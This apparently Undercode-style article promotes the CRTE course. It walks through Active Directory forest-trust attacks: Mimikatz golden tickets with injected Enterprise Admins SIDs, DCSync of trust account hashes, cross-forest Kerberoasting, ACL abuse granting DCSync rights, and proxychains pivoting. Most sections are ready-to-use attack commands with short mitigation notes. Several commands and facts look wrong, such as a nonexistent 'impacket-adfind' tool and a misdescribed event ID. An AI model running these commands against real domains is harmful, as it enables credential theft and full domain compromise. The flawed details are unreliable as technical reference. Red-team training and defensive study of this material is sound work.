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Introduction:
Modern enterprises rely on complex Active Directory (AD) environments, often spanning multiple domains and forests. While OSEP provides a broad spectrum of advanced penetration testing techniques, the Certified Red Team Expert (CRTE) course by Altered Security hones in exclusively on AD security, with unparalleled depth in abusing trust relationships. This article dissects the critical AD misconfigurations and attack paths covered in CRTE, providing verified exploitation commands, defensive insights, and a roadmap for both red and blue teams.
Learning Objectives:
- Master the enumeration and exploitation of Active Directory forest trusts, including SID history and trust account attacks.
- Execute post‑compromise AD attacks entirely from Windows and Linux without traditional port scanning.
- Understand how to detect and mitigate common AD misconfigurations through real‑world mitigation strategies.
You Should Know:
- Forest Trust Enumeration – Mapping the Invisible Bridges
Before exploiting trusts, you must discover them. Both Windows native tools and third‑party scripts can reveal trust relationships without generating noisy scans.
Windows (PowerShell):
Using Active Directory module Get-ADTrust -Filter
Linux (Impacket):
impacket-getTGT -dc-ip 10.0.0.1 domain.com/user impacket-adfind -sc domain_trusts
Step‑by‑step:
- Launch PowerShell as administrator and import the AD module if available (
Import-Module ActiveDirectory). - Run `Get-ADTrust -Filter ` to list all trusts, direction, and attributes.
- On Linux, use `impacket-adfind` with the `domain_trusts` search clause to obtain the same information.
- Identify forest trusts, external trusts, and shortcut trusts – these are high‑value targets for lateral movement.
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Cross‑Forest SID History Abuse – Becoming Enterprise Admin
CRTE heavily emphasizes SID history attacks. When SID filtering is disabled on a trust, an attacker can inject a privileged SID from a trusted domain into a token.
Windows (PowerShell with ActiveDirectory module):
Add SID of Enterprise Admins from other forest Add-ADGroupMember -Identity "Domain Admins" -Members "S-1-5-21-..." -Server target.forest.com
Using Mimikatz:
mimikatz kerberos::golden /user:Administrator /domain:child.local /sid:S-1-5-21-... /sids:S-1-5-21-<root domain>-519 /krbtgt:krbtgt-hash /ptt
Step‑by‑step:
- Obtain the SID of the target privileged group (e.g., Enterprise Admins) from the trusted forest.
- Use Mimikatz to forge a Golden Ticket including the extra SID (
/sids:). - Pass the ticket (
/ptt) and access resources in the trusting forest with elevated privileges. - Mitigation: Enable SID filtering on all external and forest trusts.
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Trust Account Password Extraction – Golden Ticket to Another Forest
Every trust has a corresponding trust account object (name ending in$). Its password is stored in the domain and can be retrieved with high privileges.
Linux (Impacket secretsdump):
impacket-secretsdump -just-dc-user '<trusted_domain>$' -hashes <LM:NT> domain.com/[email protected]
Windows (Mimikatz):
mimikatz lsadump::dcsync /user:domain\$trusted_domain$
Step‑by‑step:
- DCSync the trust account hash using Mimikatz or secretsdump.
- Use the hash to forge inter‑realm Kerberos tickets (trust tickets).
- Access services in the trusted domain with elevated access.
- Detection: Monitor for DCSync events (4662, 5136) and unusual TGS requests.
4. Kerberoasting Across Trust Boundaries
Service accounts whose SPNs are published in the Global Catalog can be attacked even from a different forest if the trust allows authentication.
Linux (Impacket GetUserSPNs):
impacket-GetUserSPNs -target-domain:target.forest.com domain.com/user -dc-ip 10.0.0.2 -request
Windows (PowerView):
Get-DomainUser -SPN -Domain target.forest.com | Request-SPNTicket
Step‑by‑step:
- Enumerate SPNs in the target forest using `GetUserSPNs` with cross‑forest credentials.
- Request a TGS and extract the service ticket.
3. Crack the ticket offline (hashcat -m 13100).
- Defense: Use Group Managed Service Accounts (gMSAs) and long, complex passwords.
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ACL Abuse – Taking Over AD Without Special Privileges
CRTE teaches how to exploit misconfigured ACLs, such asGenericAll,WriteOwner, orForceChangePassword.
Windows (PowerView):
Find interesting ACLs
Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "GenericAll|WriteOwner" }
Grant ourselves DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=target,DC=com" -PrincipalIdentity user -Rights DCSync
Step‑by‑step:
1. Enumerate ACLs with PowerView.
- Identify a vulnerable object where you have `WriteDacl` or
GenericAll. - Add an ACE granting yourself `DS-Replication-Get-Changes` (DCSync) rights.
4. Execute DCSync to obtain full domain compromise.
- Mitigation: Regularly audit ACLs with tools like BloodHound or PingCastle.
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Pivoting with Linux Tools in a Windows‑Only Forest
The CRTE exam allows pivoting via the foothold NIC. Here is how to use Linux tools without port scanning.
SSH Dynamic Port Forwarding:
ssh -D 1080 user@foothold-host
Proxychains with Impacket:
proxychains impacket-secretsdump domain.com/[email protected] -just-dc
Step‑by‑step:
- Establish a dynamic SOCKS proxy through the compromised Windows host (using SSH or
plink.exe).
2. Configure proxychains to use port 1080.
- Route all Impacket and BloodHound queries through the proxy.
- Perform AD enumeration and attacks without direct network connectivity.
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Reporting Like a Real Penetration Test – Actionable Mitigations
CRTE’s reporting requirement is unique: it asks for practical mitigations, not just attack paths.
Example Template:
- Finding: SID history injection possible across forest trust.
- Attack Path: Compromised domain → DCSync → trust ticket → SID injection → Enterprise Admin.
- Mitigation Steps:
- Enable SID filtering on the trust (
netdom trust trusting_domain.com /domain:trusted_domain.com /EnableSIDHistory:No).
2. Monitor event ID 4765 (SID History removal).
3. Limit who can modify trust objects.
Step‑by‑step for Report Writing:
- Document the exact commands used to exploit the weakness.
- Map each exploit to a specific MITRE ATT&CK technique (e.g., T1484 for group policy, T1187 for forced authentication).
- Provide step‑by‑step remediation instructions tailored to the environment.
What Undercode Say:
Key Takeaway 1:
CRTE fills the critical gap left by OSEP for professionals whose daily battle is Active Directory. Its laser focus on forest trusts, ACL abuses, and pure‑AD attacks provides a depth of knowledge unmatched by broader courses.
Key Takeaway 2:
Reporting with actionable mitigations transforms a technical checklist into a strategic consulting deliverable. This shift in mindset—from “what you broke” to “how to fix it” – is what separates junior testers from senior red teamers.
Analysis:
The CRTE course demonstrates that specialized training can outshine generalist certifications when targeting specific attack surfaces. By forcing students to operate entirely within AD constraints (no port scans, no third‑party CVEs), it mimics modern attacks where defenders have hardened external perimeters. This approach pushes red teamers to abuse legitimate AD functionality—privileged enough to bypass most EDR solutions. Blue teams, in turn, must learn to baseline normal authentication flows and detect anomalous trust account usage, SID history modifications, and cross‑forest Kerberos activity. The growing popularity of CRTE signals a market shift: companies no longer ask “are you OSCP/OSEP?” but “can you break our AD trusts before an attacker does?”.
Prediction:
As hybrid identities become the norm (Azure AD Connect, cloud trusts), the next evolution of trust attacks will target hybrid forest trusts. We predict that within two years, CRTE‑like courses will incorporate cloud‑on‑premise trust abuse, such as Azure AD Kerberos tickets and seamless SSO attacks. Red teams will need to pivot from pure on‑prem forest trusts to hybrid identity bridges—a domain where deep understanding of trust mechanics, not just tool execution, will decide who controls the entire enterprise.
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IT/Security Reporter URL:
Reported By: Mathijs Verschuuren – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
